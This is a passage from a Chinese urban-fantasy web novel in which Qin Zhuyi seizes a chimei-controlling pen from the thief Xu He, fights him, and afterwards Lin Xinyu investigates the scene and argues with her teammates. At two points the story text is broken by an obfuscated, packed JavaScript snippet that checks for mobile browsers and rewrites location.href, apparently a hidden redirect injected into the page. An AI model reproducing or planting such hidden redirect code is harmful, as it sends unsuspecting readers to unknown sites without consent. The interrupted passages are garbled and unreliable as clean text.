他这句话问出去半晌,愣是没人回复。回头一看,发现一起过来的两个人,林欣予一直在看手机,而黎子鸣正在狂吃派对里的自助点心。 “喂,你们两个。”苏佑容有些不满,“能不能对任务上点心啊?” 而这句话得出的是以下两句回复—— “我还有事呢,我现在可以走了吗?”这是林欣予说的。 “抱歉啊,我没吃晚饭。”这是黎子鸣说的。 不过黎子鸣话是这么说,他也不是完全没关心现场的情况。他挑选吃东西的地方正对着派对入口,谁从那里进来他第一眼就能看见,自然也知道徐贺今晚并没有出现在这里。 真正不关心这个所谓的“任务”的其实只有林欣予,她不关心的理由也很简单,她知道徐贺现在在哪、在干什么。 只不过现在距离她收到上一条消息已经过去一个多小时,过了这么长时间都没有新消息,实在是有些反常……或许她应该赶去徐贺的住所那看下是什么情况。 正当她这么想着的时候,苏佑容居然做出了和她一样的决定:“我们去徐贺的住所那看看吧,我感觉他那里可能出事了。” 不能让他们过去。这是林欣予的第一个反应,她尚且不知道秦竹一在那边的情况如何,如果事情还没有结束,苏佑容和黎子鸣这一过去,很有可能就会撞上他。就算那边已经结束了,现场肯定也会留下一些痕迹,这么短的时间完全不够处理。被这两人看见异常,他们肯定会向上级汇报,再引起物零社高层的注意的话,她后面的规划和行动可就不方便进行了。 所以她不得不开口阻止:“太急了吧?这才开始一小时,整个派对要一直进行到半夜两点,他晚来一点也是正常的。” “不,不正常。”林欣予的阻止立马被苏佑容否定,“我问会所的人要了他过去两个月的预约和消费记录,只要有过预约,就一定会在活动开始时准时到场。如果来不了,他会提前至少一小时取消预约。” 一旁正吃着甜点的黎子鸣吐槽一句:“这人干着些不干净的勾当,居然还挺有守时观念。” “那你们去吧,我刚好还有些其他事要办。”事已至此,看样子拦不住两人。林欣予心里如是想着,自己最好早点跑路,赶在他们前面去看下现场情况,有什么不适合让他们看见的,自己也可以尽快处理。 于是说完这句话她就很干脆的起身,头也不回的出去了。 看着林欣予离去的背影,苏佑容若有所思:“我总感觉她这几天不对劲,明明没怎么参与这次的任务,却又一直在打听任务相关的事情。今天叫她来也是,明明一开始答应得很爽快,现在又开始说自己有事要急着走。” “可能是因为不习惯这里的氛围吧。”黎子鸣瞥了瞥旁边的舞池,那里正播放着狂躁的DJ舞曲,一堆年轻男女此时正在舞池里忘情蹦迪,“她是那种周末会去音乐厅听交响乐的人,调性和这种地方确实不相符。” 说白了,黎子鸣和苏佑容两人也不是很适应这种地方,不然也不会挑选一个远离DJ台的地方坐着。至少偏一点的地方没那么大噪音,让他们不至于说话交谈都要扯着嗓子。 不过苏佑容的疑虑也没有持续太久,毕竟他们此时还有正事要做。两人也没耽搁太久时间,再一次确认现场没有徐贺的身影后,两人立马出门打车,朝着资料上的那个住址前去。 …… 时间倒回两小时前,此时的徐贺刚刚出门,准备前往他预约的派对活动,度过一个从各方面来说都能让他难以遗忘的夜晚。 只是这个夜晚注定要让他以其他方式留下深刻的记忆。 他出门没走几百米就被人拦住了,来者带着口罩,细碎的头发有些遮住眼睛,在昏暗的路灯下根本看不清长什么样子。 徐贺明显也不是第一次遇到这种情况,城中村这地方一直鱼龙混杂,到处都是荒凉的小巷子,加上常年故障的摄像头,使得这个地方难免经常出现一些想要挣快钱的小混混。不过徐贺自然不怕这些,即使没有那个人给他的法宝,这种小混混也不是他的对手。 “别挡路,滚开。”没等对方开口,徐贺先开口了,而且很是不客气:“你爷爷还有事,要钱找别人要去。” 对面的人似乎没有让路的意思,他说:“我不要钱。” “管你要什么,赶紧把路让开!” “别急嘛,先听听我要什么。”对面依旧站在道路的中央,“这些天发生的盗窃案是你做的吧?” “什、什么!?”徐贺明显一下子慌了,“你是警察吗?你要抓我?你有什么证据!” 对面似乎有些无语:“要是警察肯定第一时间就出示证件了,我不是警察,我来和你谈点生意。” “什么生意?” “你手里有操纵魑魅的方法,对吧?开个价,我要这个方法。” 此话一出,徐贺的脸色瞬间煞白。魑魅,这个人为什么会提到魑魅的事情,自己的手段暴露了……不,他想从我这里买操纵魑魅的方法,那他应该还不知道我是怎么操纵魑魅的。应该也不是物零社的人,物零社的人如果确认了这件事情肯定直接来抓人了,又怎么会用这种方式。这人难道也是想通过这种方式赚钱的除魅师?不知道他能开出多少价,如果让我开价的话,是不是至少得开个上百万的价格—— 等等,不,不能卖!那个人说了,东西不能给别人,不然我就没命了!那就、那就装傻吧,什么魑魅啊,自己不知道这种事啊……不行, 下意识的,徐贺的右手摸向了自己衣服的右边口袋,那里放着一支钢笔,潜藏着秘密的答案的钢笔。他的动作并不大,似乎是因为对方突然提到这几个关键词,使得他开始下意识的想要确认自己兜里的东西是否还安好。 但这细微的动作没有逃过秦竹一的眼睛,或是说,他以这样的方式展开对话,就是这个目的。 在徐贺的手向着右侧衣服口袋挪动的那一瞬间,秦竹一就明白,徐贺想藏住的秘密就在这个口袋里,那么接下来要做的也很简单——只要抢过来就好了。 徐贺的手此时已经伸进了口袋里,在触摸到金属笔杆的那一瞬间,徐贺心安了不少,但下一秒,一个人影迅速的蹿到了他的面前,一只冰凉的手掌握住他的手腕,瞬间一股大力把他的手扯出了口袋,连带着那支他刚刚握住但还没握稳的笔,跟着他的手一起飞了出来。 “这就是你‘吃饭的家伙’?”秦竹一一把接住了那支飞在空中的钢笔,钢笔是通体金属的笔身,看上去就是一支平平无奇的普通老式英雄钢笔。但他能感觉到,这支笔上确实萦绕着一些异常的力量。 徐贺被对方突如其来的动作吓了一跳,但马上就反应过来,那人拿走了一个很重要的东西。他也不是吃素的主,毕竟是物零社带出来的人,基础的体术也不差。对面握住他右手手腕的手尚未松开,只见他右手往下一扣,握住对面的小臂,左手上前,也握住了对面的左手小臂。同时,他飞速转身向下用力,这是过肩摔的标准动作,他想用这个方式把对面撂倒,以此夺回那支钢笔。 这动作确实标准,要是一般人的话,等反应过来估计已经躺在地上了,可惜的是,对面不是一般人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101180|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦竹一确实被这突如其来的动作整了个趔趄,但也只是趔趄而已,徐贺没能搬动他的身子,只是让两人迅速的分开,相隔了一段距离,那支钢笔依旧在秦竹一的手中。 “这么激动啊。”秦竹一非常熟练的把那支笔在手里转了一圈,“看来就是这东西了。” 没想到徐贺现在开始装傻了:“你突然冲上来吓到我、我下意识进行自我防卫而已。那就是支普通钢笔,不信你打开看看。” 秦竹一也不是傻子,徐贺这句话的意图太明显,打开这支笔肯定会发生一些不妙的事情。 见对方不上自己的当,徐贺更急了,事已至此,只能拼命去把这东西再抢回来,毕竟这东西要是丢了,那个人肯定也不会让他活着。 所以徐贺掏家伙出来,一柄不大的折叠小刀,放在他的裤子口袋里。这小刀也不是普通的小刀,而是一件附魔器,毕竟他现在整体跟魑魅打交道,自己身上不可能不备点防着它们的东西。即使现在面对的是一个来者不善的人类,这把刀也足够锋利。 看到对方拿出武器,秦竹一好像也并没有很慌乱:“东西我到手了,你把使用方法告诉我如何?我之前说的开价你依旧可以开……” 话没说完,徐贺的刀已经刺出——小刀向着秦竹一的头部刺去,秦竹一向右偏头躲过,徐贺却又马上调转了刀柄在手里的握姿,向右横劈过去! 但秦竹一好像早就预料到了他的下一步动作一样,在偏头的那一瞬就下蹲了一些,横劈的刀刃擦着他的头顶而过。随后他下蹲伸腿横扫,很简单的就放倒了徐贺。他能预判到徐贺下一步动作的原因也很简单,这是物零社教学的格斗基础,十几年都没变过。 倒地的徐贺想要迅速起身,但秦竹一比他更快,已经把他彻底压在了地上,反抓着他拿刀的右手,夺下了他手中的小刀,现在,秦竹一只要轻轻一使劲就能让他的右臂彻底脱臼。 “如果你不想要钱,我也有其他办法能让你开口。” 这一来二去,徐贺彻底明白,他打不过眼前这个人,可是那支钢笔还在这人手里,不拿回钢笔他活不了,但现在的他想要拿回钢笔,可能只有那一个方法,但是他不想杀人……至少一开始是不想杀人的! “你逼我的、你逼我的!” 徐贺发出了绝望又愤怒的怒吼,与此同时,秦竹一发现手里那支钢笔开始轻微颤抖,之前感受到的那股异常的力量瞬间增强,笔帽和笔身的缝隙间,源源不断的黑色雾气正从其中溢出,顺着秦竹一的手心向他的手臂爬升。 “这什么……”没等秦竹一做出下一步动作,那支钢笔似乎承受不住这种力量了,笔帽被飞速弹开,无数黑雾如墨水一般从笔尖处倾泻而出,瞬间就吞没了秦竹一的身体。那支钢笔也摔了下来,咕噜咕噜地滚到徐贺的脚边。 借此,徐贺也摆脱了秦竹一对他的掣肘,跑到远一些的地方,看着那几只还没凝聚成具体形状的魑魅吞噬撕咬着刚刚那个人,徐贺的心中也在不停的说服着自己—— 对,自己都是被逼的,当初碰到那个人,自己收下这支钢笔是被逼的,因为自己当时不收下这支钢笔肯定会被杀;后面开始偷东西也是,是那个人让自己去物零社偷东西的,偷那些财物只是为了练手,而且自己也需要钱生活啊!都是为了活下去而已。自己毕业以后这么落魄,也都是因为这个社会不好,不给自己提供工作,反倒是有那么多无良老板。对了,还有那个女人,那个前女友,物质的女人,就因为自己没钱赌博跟自己分手,自己现在变成这样都是她的错!自己没有错,自己当然没有错! 徐贺捡起脚边的钢笔,很小心地擦去上面的灰尘。又掏出手机看看时间,他在这耽误的时间属实太久,要和会所的人说一声,晚点过去才行。 13. 会面 突然从笔里溢出来的魑魅,确实打了秦竹一一个措手不及。他没想到徐贺即使不触碰这支笔,也可以动用里面的力量,更没想到这群魑魅在被人操控之后会如此难缠,它们没有在第一时间发动致命的攻击,而是以更加扭曲的形态限制他的行动力,或许是徐贺想要抓紧时间逃跑,才选择了这样的方式。 秦竹一根据现状作出自己的理解,但实际上徐贺根本没这么想,在徐贺的认知里,这样的攻击已经足够致敌方于死地了。很明显的是,这些徐贺认为致死的攻击,在秦竹一眼里根本就构不成威胁。 此时,徐贺自以为这件事情已然结束,正准备拿手机发消息。在他拿出手机的那一刻,他就看到了那不可置信的一幕。 青色的灵力光刃从那团魑魅中四散而出,就像是在几滴浓墨中注入了一泉清水一样,顷刻间就把那浓郁的墨色冲散开来。 秦竹一手里拿着的,是他刚刚从徐贺手里夺过的那一把小刀,而那把刀的身上出现了让人很熟悉的一幕,无数的裂纹不断蔓延展开,最后将这整把小刀化作了碎屑。 “我早该想到的,你身上带着的附魔器,估计也不是什么高级货。”秦竹一抖了抖手心里的碎屑,讽刺地笑道,“但属实没想到居然这样就碎了,这不搞得我跟物零社那个败家新生一样吗。” 徐贺看着眼前的这一幕,差点把手机摔了下来,那人拿着自己的那把小刀,居然就干掉了三只魑魅,而且那把刀,那把刀为什么会碎掉,自己从没见过仅仅是能靠注入灵力让附魔器碎裂的人! 逃,只能逃了!徐贺的心里此时只剩下了这一个想法,他熟悉这边的路,现在只要跑的够快,就是他赢了! 徐贺又拿出了那支钢笔,拔开笔帽,嘴里念叨点什么。随后,他以握笔的姿势向前一挥,黑雾瞬间又从笔尖溢出。 “没搞错吧,还有?这钢笔写字不用灌墨的吗?”秦竹一在心理摸摸吐槽了一句,但这只再度出现的魑魅没让他靠近徐贺的脚步放缓一些,他依旧朝着徐贺的方向逼近,免起袖子,露出白皙的小臂,手腕上还带着一个银制手镯。 而不知何时,他手中已经多了一只甩棍,随着手腕一沉,“锵”的一声,甩棍笔直地钉向地面。而徐贺看他拿出武器,神色更加慌张,大喊着:“去,快去!” 几只魑魅倾斜而出,居然飞速凝聚成一个巨大的人形,这是秦竹一还从未见过的魑魅形态。 就像柯南里面的小黑人一样的,这魑魅是个通体黑色,甚至连五官都没有的人形东西。实话实说,突然看见魑魅变成这个样子,让人有点犯恶心。 “杀了他。”徐贺对着这坨有点不可名状的东西下达命令,“杀了他!” 闻言,那团人形的右手变成了黑色的利刃,朝着秦竹一的方向挥砍而来。但秦竹一显然也没把这东西当回事,不管是什么外表,这玩意说白了也就是魑魅而已。 于是他抬起手,手腕上的镯子乍亮,连带着那甩棍的钢截也染上光亮,迎着锋利的刀刃砸了下去。两边碰撞的瞬间,那人形魑魅的右手在顷刻间溶解,又化成了一开始的黑雾模样,没办法再度聚集。 秦竹一动作也很快,他注意到躲在这只魑魅身后的徐贺,此时已经拔腿跑路,再让他跑远一点,自己估计就真追不上了。所以他也没再吝啬自己的灵力,准备用下一击彻底解决这碍事的玩意儿。 眼见着那魑魅没了右手,左手就变成了同刚刚右手一样的利刃模样,然后又用和刚刚一模一样的动作发动了攻击。这也正常,大部分的魑魅都是行动呆板,丝毫没有智慧可言的东西,只是因为本身不具有实体,只有灵力能对其造成伤害,才会对普通人产生很大的威胁。 秦竹一自然也是这么认为的,所以他也没多想,只是想着用比刚刚更大的灵力量,直接秒了这东西。但令他意想不到的是,在两方即将要接触的那一刹那,那只魑魅躲开了。对,没错,那只魑魅突然躲开了秦竹一的攻击,变为刀刃的手臂重新变成了人类的手掌,然后用源源不断的黑雾抵抗着秦竹一身上的灵力,死死抓住了他的手臂。 与此同时,秦竹一感觉到了这只魑魅体内一股异常的力量,和那支笔上的力量一样,是一股他本应陌生、但因为一些原因而不得不铭记的力量——妖力。 “这家伙,想要自爆吗。” 那股力量正在魑魅的体内迅速的酝酿增强,秦竹一现在没办法在这电光火石间从它身边远离。他抽回手在面前格挡,手腕上的银色手镯前骤然凭空出现一面保护墙。而就在这刹那之间,那魑魅体内的力量轰然爆炸。 这团妖力的爆炸没有任何声音,但却带来不小的冲击波,周边的树木刹那间因为爆炸产生的狂风而漱漱作响,被吹落的树叶飞舞着,竟然都让这小巷有了一分秋夜的感觉。 秦竹一正面近距离受了这一下,自然也不好受。虽然大部分爆炸的伤害他靠着灵力抵御住,但随后那巨大的冲击波却没办法用灵力防。他被那股冲击波掀翻,擦着地面狠狠撞到了巷子侧边的墙上。 过了快一分钟,爆炸的余波才慢慢平息。秦竹一检查了一下自己的状况,身体倒是没什么大问题,也没有骨折什么的,就是避免不了青一块紫一块。现在最严重的问题是,这件事情一定比所有人想象的都复杂。 妖力,那只魑魅最后自爆时出现的妖力,让这件事变得不简单了起来。如果今天在这的换做别人,不一定会发现那股力量中的端倪,毕竟没几个人见过妖,更别说了解妖力的气息。但也不知道是幸运还是不幸,他就是那为数不多的几个见过妖的人类。 所以他知道这股力量代表着什么,徐贺现在掌握的这项控制魑魅的技术、不、不一定是他掌控的,目前的表现来看,他似乎只是知道使用那个容器、也就是那支钢笔的方式而已。那这个容器又是谁给予他的呢?又是谁创造的呢?不管是谁,这一定是个,能使用妖力的“人”。 而最后的这场爆炸,不是徐贺控制的。如果徐贺知道自己手中的魑魅有这样的能力,一开始就不会用那样的方式攻击,那么控制者肯定是徐贺的同伙,或者是,给予徐贺那支钢笔的人。徐贺是被人救走的。 “‘麇’复苏了。” 现在的秦竹一,只能想到这一种可能。怪不得那天,那个下雨的晚上,那个女人会突然跑来找他。现在想来估计是来警告他,不要插手这些事情。 秦竹一有些狼狈地从地上爬起来,却在使劲的时候发现自己的脚腕有一些抽痛,估计是扭伤了,这下得麻烦林欣予来接他了。 …… “鹿千!你他妈的,你他妈骗老子!” 宁静的夜空被徐贺的一声怒吼捅了个底朝天。 “是你他妈跟我说不会被人发现的,是你他妈跟我说有了这玩意儿就算有人来找我麻烦也动不了我。”徐贺把那支笔狠狠地摔在地上,脆弱的钢笔摔在地上又弹起,笔帽被摔开,笔身再度摔在地上的时候,笔尖都摔折了,“老子今天差点交代在那,你把老子的好日子全毁了!” 也不知道这人是怎么想的,明明十几分钟前他还因为怕丢了钢笔会被这人杀掉而胆战心惊,现在居然就敢当着人家的面爆粗口骂人。 徐贺的对面是个穿着一身黑衣服的男人,男人留着黑色的长发,长发在脑后束成黑色的低马尾,随意的垂落下来。除此之外,这人打扮得跟个上街明星一样,戴着黑色口罩和帽子,鸭舌帽的帽檐压得很低,只能隐约看见帽檐下有双蓝色的眼睛。 虽然被口罩和帽子遮住了大半张脸,但对面听到这几句话的心情明显不是很好,又懒得和这货说没用的话,所以只是言简意赅地回复几句: “把容器还我,你可以真正‘交代’在那里。” 他说话的声音很低,声音不大,但好像伴随有一种力量,一下就压制住正在骂骂咧咧的徐贺。徐贺瞬间不敢吭声,这人也是如此,在气头上时无比嚣张,稍微冷静一下,又知道害怕了。 黑衣人倒是也没继续追究徐贺这几句不知好歹的话,他有更加关心的事:“我让你拿的东西,你拿到了吗?” 徐贺一愣,好像才想起这事,慌乱道:“马上、马上,我已经去踩过一次点了!” 没错,他是踩过一次点,但那次踩点并不顺利,在他操纵的那只魑魅马上要到达地下档案室的时候,不知道为什么就突然失控,还攻击了物零社的两个人……对了,今天自己突然被找上门,会不会也是因为那天行动失败,让那群家伙察觉到了?可刚刚袭击这个人的又明显不是物零社的人。 到底还是物零社带出来的学生,徐贺虽然称不上有多聪明,但也确实不傻,他已经在尝试分析自己目前持有的信息了,只是对面似乎并没有这个耐心。 “一天,我再给你一天的时间。” 黑衣男人微微抬起帽檐,露出那双蓝色的眼睛。与此同时,刚刚被徐贺摔在地上的钢笔,竟在没有任何凭依的情况下腾空而起,漂浮到半空,并且开始自我修复。 只见被摔折的笔尖自己弯曲回正常位置,笔身上一些细小的裂痕也开始逐一愈合。周围,气温下降,凉风逐渐增强,渐渐的,那些凉风好像有了具体的形态,如毛笔甩出的弧形墨渍,形成一个个旋涡,而旋涡的中心,正是刚刚恢复完好的钢笔笔尖。 徐贺这才意识到,现在周围这些黑色的风,都是还没有形成实体的魑魅。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101181|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 眼前这幅场景,已经完全超出徐贺的认知。一个月前,当他初次遇到这人时,就已经震撼于这支笔所能做到的事。但他远远没有想到,魑魅竟是被这种方式放进钢笔里。自己需要通过钢笔来控制魑魅,但眼前的这个男人,恐怕只凭这种奇怪的力量就可以做到。 顷刻间,那只钢笔已经恢复成最初的样子,从空中慢慢落下,落在徐贺面前,徐贺赶紧伸手接住,深怕这玩意摔在地上。 那黑衣人冷冷说道:“如果一天以后你还没有拿到我要的东西,我就收回容器,然后杀了你,如何?” “你这么厉害,你怎么不自己去?”徐贺完全没管后半句话,自己在暗地里腹诽,但这话他断然不敢当面说。他又想,这人要是自己上,那他不就拿不到这只钢笔、也用不了钢笔里的力量了?于是徐贺又马上把自己说服,不再去想这件事。 “一定、一定拿到!” 徐贺一边应和着,一边赶紧把修好的钢笔装进口袋,等他再抬头的时候,面前已经空无一人。看见对方离开,徐贺又开始骂骂咧咧起来:“装神弄鬼。” …… 离开会所不久后,林欣予收到了来自秦竹一的联络。 “徐贺逃了,先别追,他那情况比较棘手。” “什么情况?” “……他能操纵复数的魑魅。”秦竹一想了一下,还是隐藏了部分事情,“而且魑魅在人的操纵下会有各种战术的配合,比‘野生’的更有威胁。” “今天我这里的行动已经打草惊蛇,目前还不知道徐贺下一步会做什么,最好还是谨慎行事。” 林欣予沉默片刻,回复道:“我现在正在去徐贺住址的路上,黎子鸣他们估计也在往那边去了,你还在吗?” “还在,不过不在他家那,在离那边500米左右的地方。我给你个定位吧,我可能需要你来接我一下……” “受伤了?” “虽然很不想承认,但是确实。” “严重吗?” “严重的话我现在就不能跟你说话了。”秦竹一打趣一句,“脚腕扭伤了,走路有些费劲,其他没什么。” “好,那你等我一下,我大概还有5分钟到。” 林欣予挂了电话,把新地址拿给出租车司机看:“师傅,这地方你知道吗?对,就在我原来要去的那个地方附近。” 司机明显是个有资历的司机了,秦竹一给的地址是一条小路,而司机看了一眼就表示知道在哪。确认位置后,热情的司机师傅甚至操着不太标准的普通话问了一句:“我知道那附近有个医院,要不一会儿我直接给你们拉那里去。” 林欣予一下子没反应过来:“啊?” “你朋友不是受伤了嘛,赶紧去医院看看噻。” “没事没事。”林欣予好像不是很擅长应对这种突如其来的热情,“他不严重,不用去医院。” 5分钟后,林欣予如期到达那个地点。而另一边,黎子鸣和苏佑容也到了徐贺的家门口前,只不过他们肯定是姗姗来迟,只能落空。 小楼的门口一片寂静,只有一盏昏黄的路灯稍微提供着几丝微弱的光芒,在初夏的夜晚竟然显得有些萧瑟。苏佑容抬头向上看去,整栋楼的灯光都是暗的,房子里没人的可能性很大。 “要不我们去那个路边摊问一下?”黎子鸣往旁边指了指,那里有个卖杂粮煎饼的小摊,此时,小摊的摊主正在收拾小车台面上的各种食材,看来打算收摊了。 于是苏佑容拿着徐贺的照片走上前去:“大哥,我想问下,你今天见过这个人吗?” 摊主大哥手上动作一停,只瞥眼那照片就回答道:“见过见过,这人还在我这赊了两套煎饼果子哩。” 问对人了。两人心中暗喜,苏佑容赶紧追问:“你今天什么时候见过他啊?” “就刚……等等,你们谁啊?”摊主大哥顺势想回答,一下子反应过来,又收住了已经出口的话语。 不过对面不想说也不是没有办法,苏佑容麻利的拿手机扫了下摊主还没收起来的收款二维码,嘹亮的“支付宝到账100元”瞬间响彻安静的夜色。 苏佑容确实很懂怎么用钱来减少自己的麻烦,而这招对大部分普通人来说都十分有效。 摊主马上说:“就刚刚天黑的时候,一个多小时、或者快两小时前吧,我看到他从房子里出来了。” “那你知道他是往哪里走了吗?”苏佑容追问道。 “往那边。”摊主伸手指了个方向,“应该是去车站。” “好的,谢谢你。”苏佑容跟旁边的黎子鸣使个眼色,两人一起向摊主指向的地方走去。 14. 同谋 与此同时,林欣予也到了另一边的事发地。 小巷此时已经重回宁静,除了散落满地的落叶有些异常之外,丝毫没有刚刚发生过一次还算剧烈的爆炸的样子。 秦竹一靠在墙边,看到逐渐靠近的出租车车灯,掐灭手上快要燃尽的烟。 出租车在林欣予的示意下,停在了秦竹一的面前。林欣予似乎本想是摇下车窗招呼对面上车,随后离开这个地方,但在摇下车窗的那一刻,林欣予感觉到了什么东西。 “这里发生了什么……”在感受到此处尚未完全散去的那股力量的一刹那,林欣予下意识的想要询问目睹了一切的秦竹一。但她转念一想,估计没什么人能感知出来这股奇怪的力量很可能是来自妖,秦竹一之前给她的回复也只是提及了魑魅的事情,想必是根本没有从中看出有妖力的作祟,问了也是徒劳,于是就此作罢了。 只是她不知道的是,秦竹一之所以在5分钟前那样向她描述情况的原因,和她现在的思路是一模一样。 这两人的关系到底如何此时也显而易见了,两人因为一些原因,达成了现在微妙的合作关系,或者说是秦竹一对林欣予的协助关系。林欣予则是知道当年皂竹大火的事情,但却不知道秦竹一在那场大火里看见了什么。秦竹一虽然也有一些自己的打算,但他也确实是站在林欣予这边的。 他选中的是“林”这个姓氏,了解这个姓氏被人忌惮排斥的原因。却不知道林欣予的感知能力已经强到了这个地步。 感知到这股奇怪的妖力以后,林欣予原来的打算作罢了。她直接打开车门下车,对着秦竹一那说:“你先上车走吧,我要查看一下这个地方。” 秦竹一有些疑惑林欣予突然做出这样的决定,但还是什么都没说,寒暄了几句就上车离开了,毕竟现在黎子鸣和苏佑容还在这附近,万一被这两人看见他,也会给林欣予这造成不小的麻烦。 看着出租车的尾灯逐渐消失在视野里,确认对面已经走远,林欣予这才把注意力拉回现场。 遗留在现场的妖力已经消散不少,但当时发生爆炸的中心,依旧可以感受到那股强大力量的残骸。 她感受着各处残留力量的变化,一点一点挪动位置,终于找到遗留力量最多的中心点。只见林欣予在此处站定,闭眼凝神,淡黄色的宽松衬衫和浅蓝色的长裙无风自动,似乎有什么东西在牵动着她身体上的每一寸肌肤。 再睁眼时,她的瞳孔变成了深暗的红色,感受着那股力量,喃喃自语道:“难道是,同族的力量……” 她能从这股力量里感受到一种熟悉的气息,那是她也拥有的一部分力量,只是遗留在此处的妖力残骸,其精度和纯度都是她无法匹及的高度。依据他们之前的调查,徐贺本人是完全没有接触这方面的背景的,这股力量的来源不属于徐贺本人,而是在暗中帮助徐贺的什么存在。 不过说是同族的力量,但林欣予此时也并不是完全确定。一是因为这股力量过于纯粹,着实不像是人类能拥有的力量;二是如果家族里有这样血脉纯粹的人物,自己不可能没有耳闻,但她在家里完全没有听过这号人物的存在,要么是家里隐藏了什么不该她知道的事,要么就是这人和林家根本没关系。 就现在的情况而言,林欣予其实是比较偏向后面那种可能性的。道上奇人异事这么多,也不一定只有林家一家有血脉渊源。 了解周围情况后,林欣予也收回自己外放的部分力量,瞳孔颜色重新恢复成了正常的棕黑色,只是在之前的变色之后,着深沉的棕黑色中仿佛也透着一模暗红。 也是就在此时,她好像突然感觉到了什么,第六感在层层报警,预示着她马上会撞见一些她不想撞见的人。 得赶紧走。在这个念头出来的一刹那,她就看到了那两个顺着线索从拐角处追来的人。 “你怎么在这里?”几乎是在两拨人碰见的一刹那,苏佑容这句疑问就脱口而出,“你不是有事先走了吗,还来这里干什么?” “我……”林欣予的大脑中一瞬间闪过了无数种搪塞的话术,但想来想去总感觉是一些拙劣的谎言。黎子鸣倒是还好,自己因为一些和他的交易,所以黎子鸣肯定不会过于刁难自己。但苏佑容就是个纯粹的刺头,这人除了有钱有权外,脑子还好使,自己要是说了什么不合适的话让他产生怀疑,他一路查下去谁知道会查出什么东西。 当然,上面这一长串看着长,但在林欣予的脑海里也只是用2秒中飞过,2秒钟后,她给出一个虽然会有损坏自己名誉,但足够无懈可击的说辞。 “我就不能自己来看看吗!?”当然,这个说辞不能直接说,直接说过于直白,反而会使可信度下降。 “骗谁啊!”苏佑容就差指着鼻子骂人了,“这件事情从一开始你就一直游离在边缘,偏偏还都要我们把所有情报和你共享。前面所有调查工作你不做,现在锁定嫌疑人了,你倒是来劲了,还不跟着我们自己跑过来,你什么打算啊!” “别吵、别吵……”黎子鸣看着愈发剑拔弩张的两人,开始不知所措地劝架。 苏佑容情绪激动,说的话却是刚好正中林欣予的下怀。她心中窃喜,表面上却装作更加生气的样子:“谁规定一定要和你们一起行动,我觉得自己行动更有效率不行吗,你自己是富二代不在意奖金,就不允许别人在意吗!” 这两句话出来的着实是有些突兀,但意思确实是给到,并且苏佑容也很明显地察觉到了这两句话里面的意思:“你想先抓住徐贺抢功拿钱?靠!那我一开始不想接这个活儿的时候,你怎么不去找你姐把这活儿接过来!” 这下似乎彻底是林欣予这里理亏,对面的反应完全在她的预料之内,所以她也顺势装成了自知理亏、不知道如何回应的样子,小声嘟囔道:“我一开始也没想到这个任务油水这么大……” “不干事还想拿钱,哪来这么大好事!”苏佑容是真的生气了,“之后我们这的情报不会再分享给你了,想抓人就凭本事,谁先抓到谁拿钱!”一边说着他一边用脚轻轻踢了一下旁边的黎子鸣:“听到没,后面不许把情报告诉她,每次给她分享情报都是你最起劲!” 给你点附魔器你还真把自己卖了,苏佑容很想再加这一句,但想想黎子鸣确实也没做什么过分的事,这样损人,反倒会让自己落人口舌,于是终究没说出来。 苏佑容半秒都不想在这地方待下去了,马上掏出手机开始打车,一边看着司机接单的提示一边招呼黎子鸣:“傻站着干什么,打车回学校了。” 没想到黎子鸣现在却有点踌躇:“我、我还想在这留一下。”他一边说着这话,一边把视线瞄向林欣予那边。 苏佑容见状,那是更来气了:“好家伙,你现在有了女人不要兄弟了是吧!不,你不要和我解释,我不想听!别以为你们俩搞得那些小动作交易我不知道,你们自己狼狈为奸去吧!” 话罢,苏佑容朝着小路出口的地方快要跑起来似的离开,只留下来一个气鼓鼓的背影。说实话,他这两句“你不要和我解释,我不想听”像极了狗血言情剧里,自顾自误会男主角的高血压女主,搞得被他甩下(应该说是甩了他)的林欣予和黎子鸣二人都有些无语。 不过,黎子鸣要留下,肯定也不是因为苏佑容口中所谓的“交易”,这桩交易本身就不是什么大事,况且这事他和林欣予自始至终也没有瞒着谁。交易内容很简单,黎子鸣因为自己的天赋特性,导致对附魔器的消耗量特别大,物零社虽然财大气粗,但是不管怎样也不可能在一个还不一定能留在组织内的学生倾注过大的资源,再加上因为校长的独断专行,物零社已经给予了黎子鸣一件零器的使用权,自然更不愿意为他提供多余的附魔器。 就在这样的情况下,林欣予向他提出了一笔交易。在她的能力范围内,她可以提供黎子鸣日常训练或是出任务所需的普通附魔器,条件是在她需要时,黎子鸣要协助她完成各项“事务”,这个“事务”大了可以是出生入死,小了可以是端茶倒水,过分点把人当成保姆使唤都没什么问题。不过林欣予也不是那种会做过分事情的人。 话说回来,在苏佑容离开以后,黎子鸣的表情就变得有些微妙,他似乎想对林欣予说些什么,但不知道该如何开口,所以琢磨半天如何措辞。半晌后,他终于问出来:“你到这里来,不是为了什么抢功吧?” 林欣予对黎子鸣明显没有她对苏佑容那么严重的防备,毕竟这人多少算是半个自己人。她眨了眨眼睛,有些打趣地对黎子鸣说道:“苏佑容丢了的脑子长你这来了?” “倒也没必要在这种地方损我……”黎子鸣自己也不知道是怎么回事,好像当他和这两人在一起的时候,这两人多少都想损他两句。其实原因也很简单,这孩子好欺负,被损了不会生气,过后也不会往心里去,简单来说,是那种很能开得起玩笑的人。对上这么一个好脾气的人,说话不开他几句玩笑似乎都有点亏。 